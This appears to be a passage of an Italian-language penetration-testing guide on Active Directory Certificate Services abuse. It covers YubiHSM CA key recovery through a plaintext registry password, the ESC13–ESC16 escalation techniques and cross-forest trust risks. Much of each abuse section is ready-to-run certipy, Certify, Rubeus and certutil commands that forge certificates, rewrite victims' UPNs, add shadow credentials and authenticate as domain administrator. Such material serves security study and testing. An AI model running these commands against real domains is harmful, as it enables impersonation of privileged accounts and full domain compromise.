Gli amministratori possono configurare l'Autorità di Certificazione per memorizzarla su un dispositivo esterno come il "Yubico YubiHSM2".

Se un dispositivo USB è connesso al server CA tramite una porta USB, o un server di dispositivo USB nel caso in cui il server CA sia una macchina virtuale, è necessaria una chiave di autenticazione (a volte chiamata "password") affinché il Key Storage Provider generi e utilizzi chiavi nel YubiHSM.

Questa chiave/password è memorizzata nel registro sotto HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword in chiaro.

Riferimento qui.

Scenario di Abuso

Se la chiave privata della CA è memorizzata su un dispositivo USB fisico quando hai ottenuto accesso shell, è possibile recuperare la chiave.

In primo luogo, è necessario ottenere il certificato CA (questo è pubblico) e poi:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

Infine, utilizza il comando certutil -sign per forgiare un nuovo certificato arbitrario utilizzando il certificato CA e la sua chiave privata.

Abuso del Link del Gruppo OID - ESC13

Spiegazione

L'attributo msPKI-Certificate-Policy consente di aggiungere la policy di emissione al modello di certificato. Gli oggetti msPKI-Enterprise-Oid responsabili dell'emissione delle policy possono essere scoperti nel Contesto di Nominativo di Configurazione (CN=OID,CN=Public Key Services,CN=Services) del contenitore OID PKI. Una policy può essere collegata a un gruppo AD utilizzando l'attributo msDS-OIDToGroupLink di questo oggetto, consentendo a un sistema di autorizzare un utente che presenta il certificato come se fosse un membro del gruppo. Riferimento qui.

In altre parole, quando un utente ha il permesso di registrare un certificato e il certificato è collegato a un gruppo OID, l'utente può ereditare i privilegi di questo gruppo.

Utilizza Check-ADCSESC13.ps1 per trovare OIDToGroupLink:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

Abuse Scenario

Trova un permesso utente che può utilizzare certipy find o Certify.exe find /showAllPermissions.

Se John ha il permesso di registrare VulnerableTemplate, l'utente può ereditare i privilegi del gruppo VulnerableGroup.

Tutto ciò che deve fare è specificare il template, otterrà un certificato con diritti OIDToGroupLink.

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

Vulnerable Certificate Renewal Configuration- ESC14

Explanation

La descrizione su https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping è notevolmente dettagliata. Di seguito è riportata una citazione del testo originale.

ESC14 affronta le vulnerabilità derivanti da "debole mappatura esplicita dei certificati", principalmente attraverso l'uso improprio o la configurazione non sicura dell'attributo altSecurityIdentities sugli account utente o computer di Active Directory. Questo attributo a più valori consente agli amministratori di associare manualmente i certificati X.509 a un account AD per scopi di autenticazione. Quando popolati, queste mappature esplicite possono sovrascrivere la logica di mappatura dei certificati predefinita, che si basa tipicamente su UPN o nomi DNS nel SAN del certificato, o sul SID incorporato nell'estensione di sicurezza szOID_NTDS_CA_SECURITY_EXT.

Una mappatura "debole" si verifica quando il valore della stringa utilizzato all'interno dell'attributo altSecurityIdentities per identificare un certificato è troppo ampio, facilmente indovinabile, si basa su campi di certificato non unici o utilizza componenti di certificato facilmente falsificabili. Se un attaccante riesce a ottenere o creare un certificato i cui attributi corrispondono a una mappatura esplicita definita in modo debole per un account privilegiato, può utilizzare quel certificato per autenticarsi e impersonare quell'account.

Esempi di stringhe di mappatura altSecurityIdentities potenzialmente deboli includono:

• Mappatura esclusivamente tramite un comune Nome Comune del Soggetto (CN): ad es., X509:<S>CN=SomeUser. Un attaccante potrebbe essere in grado di ottenere un certificato con questo CN da una fonte meno sicura.
• Utilizzo di Nomi Distinti dell'Emittente (DN) o DN del Soggetto eccessivamente generici senza ulteriore qualificazione come un numero di serie specifico o un identificatore di chiave del soggetto: ad es., X509:<I>CN=SomeInternalCA<S>CN=GenericUser.
• Impiego di altri schemi prevedibili o identificatori non crittografici che un attaccante potrebbe essere in grado di soddisfare in un certificato che può legittimamente ottenere o falsificare (se ha compromesso un CA o trovato un modello vulnerabile come in ESC1).

L'attributo altSecurityIdentities supporta vari formati per la mappatura, come:

• X509:<I>IssuerDN<S>SubjectDN (mappa per DN completo dell'Emittente e del Soggetto)
• X509:<SKI>SubjectKeyIdentifier (mappa per il valore dell'estensione Subject Key Identifier del certificato)
• X509:<SR>SerialNumberBackedByIssuerDN (mappa per numero di serie, implicitamente qualificato dal DN dell'Emittente) - questo non è un formato standard, di solito è <I>IssuerDN<SR>SerialNumber.
• X509:<RFC822>EmailAddress (mappa per un nome RFC822, tipicamente un indirizzo email, dal SAN)
• X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey (mappa per un hash SHA1 della chiave pubblica grezza del certificato - generalmente forte)

La sicurezza di queste mappature dipende fortemente dalla specificità, unicità e forza crittografica degli identificatori di certificato scelti utilizzati nella stringa di mappatura. Anche con modalità di binding dei certificati forti abilitate sui Domain Controllers (che influenzano principalmente le mappature implicite basate su UPN/DNS SAN e l'estensione SID), un'entrata altSecurityIdentities mal configurata può comunque presentare un percorso diretto per l'impersonificazione se la logica di mappatura stessa è difettosa o troppo permissiva.

Abuse Scenario

ESC14 prende di mira mappature esplicite dei certificati in Active Directory (AD), specificamente l'attributo altSecurityIdentities. Se questo attributo è impostato (per design o misconfigurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono alla mappatura.

Scenario A: L'attaccante può scrivere su altSecurityIdentities

Precondizione: L'attaccante ha permessi di scrittura sull'attributo altSecurityIdentities dell'account target o il permesso di concederlo sotto forma di uno dei seguenti permessi sull'oggetto AD target:

• Scrivere proprietà altSecurityIdentities
• Scrivere proprietà Public-Information
• Scrivere proprietà (tutte)
• WriteDACL
• WriteOwner*
• GenericWrite
• GenericAll
• Proprietario*.

Scenario B: Il target ha una mappatura debole tramite X509RFC822 (Email)

• Precondizione: Il target ha una mappatura debole X509RFC822 in altSecurityIdentities. Un attaccante può impostare l'attributo email della vittima per corrispondere al nome X509RFC822 del target, registrare un certificato come la vittima e usarlo per autenticarsi come il target.

Scenario C: Il target ha una mappatura X509IssuerSubject

• Precondizione: Il target ha una mappatura esplicita X509IssuerSubject debole in altSecurityIdentities. L'attaccante può impostare l'attributo cn o dNSHostName su un principale vittima per corrispondere al soggetto della mappatura X509IssuerSubject del target. Poi, l'attaccante può registrare un certificato come la vittima e utilizzare questo certificato per autenticarsi come il target.

Scenario D: Il target ha una mappatura X509SubjectOnly

• Precondizione: Il target ha una mappatura esplicita X509SubjectOnly debole in altSecurityIdentities. L'attaccante può impostare l'attributo cn o dNSHostName su un principale vittima per corrispondere al soggetto della mappatura X509SubjectOnly del target. Poi, l'attaccante può registrare un certificato come la vittima e utilizzare questo certificato per autenticarsi come il target.

concrete operations

Scenario A

Richiedere un certificato del modello di certificato Machine

.\Certify.exe request /ca:<ca> /template:Machine /machine

Salva e converti il certificato

certutil -MergePFX .\esc13.pem .\esc13.pfx

Autenticare (utilizzando il certificato)

.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap

Pulizia (opzionale)

Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"

Per metodi di attacco più specifici in vari scenari di attacco, si prega di fare riferimento al seguente: adcs-esc14-abuse-technique.

Politiche di Applicazione EKUwu (CVE-2024-49019) - ESC15

Spiegazione

La descrizione su https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc è notevolmente dettagliata. Di seguito è riportata una citazione del testo originale.

Utilizzando i modelli di certificato predefiniti della versione 1, un attaccante può creare una CSR per includere politiche di applicazione che sono preferite rispetto agli attributi di Extended Key Usage configurati specificati nel modello. L'unico requisito è il diritto di iscrizione, e può essere utilizzato per generare certificati di autenticazione client, agenti di richiesta di certificato e certificati di firma del codice utilizzando il modello WebServer.

Abuso

Il seguente è riferito a questo link, clicca per vedere metodi di utilizzo più dettagliati.

Il comando find di Certipy può aiutare a identificare i modelli V1 che sono potenzialmente suscettibili a ESC15 se il CA non è aggiornato.

certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100

Scenario A: Impersonificazione Diretta tramite Schannel

Step 1: Richiedere un certificato, iniettando la Politica dell'Applicazione "Client Authentication" e il UPN di destinazione. L'attaccante attacker@corp.local prende di mira administrator@corp.local utilizzando il modello "WebServer" V1 (che consente il soggetto fornito dall'iscritto).

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'

• -template 'WebServer': Il modello vulnerabile V1 con "L'iscritto fornisce il soggetto".
• -application-policies 'Client Authentication': Inietta l'OID 1.3.6.1.5.5.7.3.2 nell'estensione delle Politiche dell'Applicazione del CSR.
• -upn 'administrator@corp.local': Imposta l'UPN nel SAN per impersonificazione.

Step 2: Autenticati tramite Schannel (LDAPS) utilizzando il certificato ottenuto.

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell

Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse

Step 1: Richiedere un certificato da un modello V1 (con "L'iscritto fornisce il soggetto"), iniettando la "Politica dell'Applicazione del Richiesta di Certificato". Questo certificato è per l'attaccante (attacker@corp.local) per diventare un agente di iscrizione. Non viene specificato alcun UPN per l'identità dell'attaccante qui, poiché l'obiettivo è la capacità di agente.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'

• -application-policies 'Certificate Request Agent': Inietta OID 1.3.6.1.4.1.311.20.2.1.

Passo 2: Usa il certificato "agent" per richiedere un certificato per conto di un utente privilegiato target. Questo è un passo simile a ESC3, utilizzando il certificato del Passo 1 come certificato agent.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'

Passo 3: Autenticati come utente privilegiato utilizzando il certificato "on-behalf-of".

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'

Estensione di Sicurezza Disabilitata su CA (Globale)-ESC16

Spiegazione

ESC16 (Elevazione dei Privilegi tramite Mancanza dell'Estensione szOID_NTDS_CA_SECURITY_EXT) si riferisce allo scenario in cui, se la configurazione di AD CS non impone l'inclusione dell'estensione szOID_NTDS_CA_SECURITY_EXT in tutti i certificati, un attaccante può sfruttare questo aspetto:

1. Richiedendo un certificato senza binding SID.

2. Utilizzando questo certificato per l'autenticazione come qualsiasi account, come impersonare un account ad alto privilegio (ad es., un Amministratore di Dominio).

Puoi anche fare riferimento a questo articolo per saperne di più sul principio dettagliato: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6

Abuso

Il seguente è riferito a questo link, Clicca per vedere metodi di utilizzo più dettagliati.

Per identificare se l'ambiente dei Servizi di Certificato di Active Directory (AD CS) è vulnerabile a ESC16

certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable

Passo 1: Leggi l'UPN iniziale dell'account vittima (Opzionale - per il ripristino).

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read

Passo 2: Aggiorna il UPN dell'account vittima con il sAMAccountName dell'amministratore target.

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update

Passo 3: (Se necessario) Ottenere le credenziali per l'account "vittima" (ad es., tramite Shadow Credentials).

certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto

Passo 4: Richiedi un certificato come utente "vittima" da qualsiasi modello di autenticazione client adatto (ad es., "Utente") sulla CA vulnerabile a ESC16. Poiché la CA è vulnerabile a ESC16, ometterà automaticamente l'estensione di sicurezza SID dal certificato emesso, indipendentemente dalle impostazioni specifiche del modello per questa estensione. Imposta la variabile di ambiente della cache delle credenziali Kerberos (comando shell):

export KRB5CCNAME=victim.ccache

Quindi richiedi il certificato:

certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'

Passo 5: Ripristina il UPN dell'account "vittima".

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update

Passo 6: Autenticati come amministratore di destinazione.

certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'

Compromissione delle Foreste con Certificati Spiegata in Voce Passiva

Violazione dei Trust delle Foreste da CAs Compromessi

La configurazione per il cross-forest enrollment è relativamente semplice. Il certificato CA radice della foresta risorsa è pubblicato nelle foreste account dagli amministratori, e i certificati CA aziendali della foresta risorsa sono aggiunti ai contenitori NTAuthCertificates e AIA in ciascuna foresta account. Per chiarire, questo accordo concede alla CA nella foresta risorsa il controllo completo su tutte le altre foreste per le quali gestisce la PKI. Se questa CA fosse compromessa dagli attaccanti, i certificati per tutti gli utenti sia nella foresta risorsa che in quella account potrebbero essere falsificati da loro, rompendo così il confine di sicurezza della foresta.

Privilegi di Iscrizione Concessi a Principali Stranieri

Negli ambienti multi-foresta, è necessaria cautela riguardo alle CA aziendali che pubblicano modelli di certificato che consentono a Authenticated Users o principali stranieri (utenti/gruppi esterni alla foresta a cui appartiene la CA aziendale) diritti di iscrizione e modifica.
Dopo l'autenticazione attraverso un trust, il SID degli Utenti Autenticati viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede una CA aziendale con un modello che consente diritti di iscrizione agli Utenti Autenticati, un modello potrebbe potenzialmente essere iscritto da un utente di una foresta diversa. Allo stesso modo, se i diritti di iscrizione sono esplicitamente concessi a un principale straniero da un modello, si crea così una relazione di controllo accessi cross-forest, consentendo a un principale di una foresta di iscriversi a un modello di un'altra foresta.

Entrambi gli scenari portano a un aumento della superficie di attacco da una foresta all'altra. Le impostazioni del modello di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio straniero.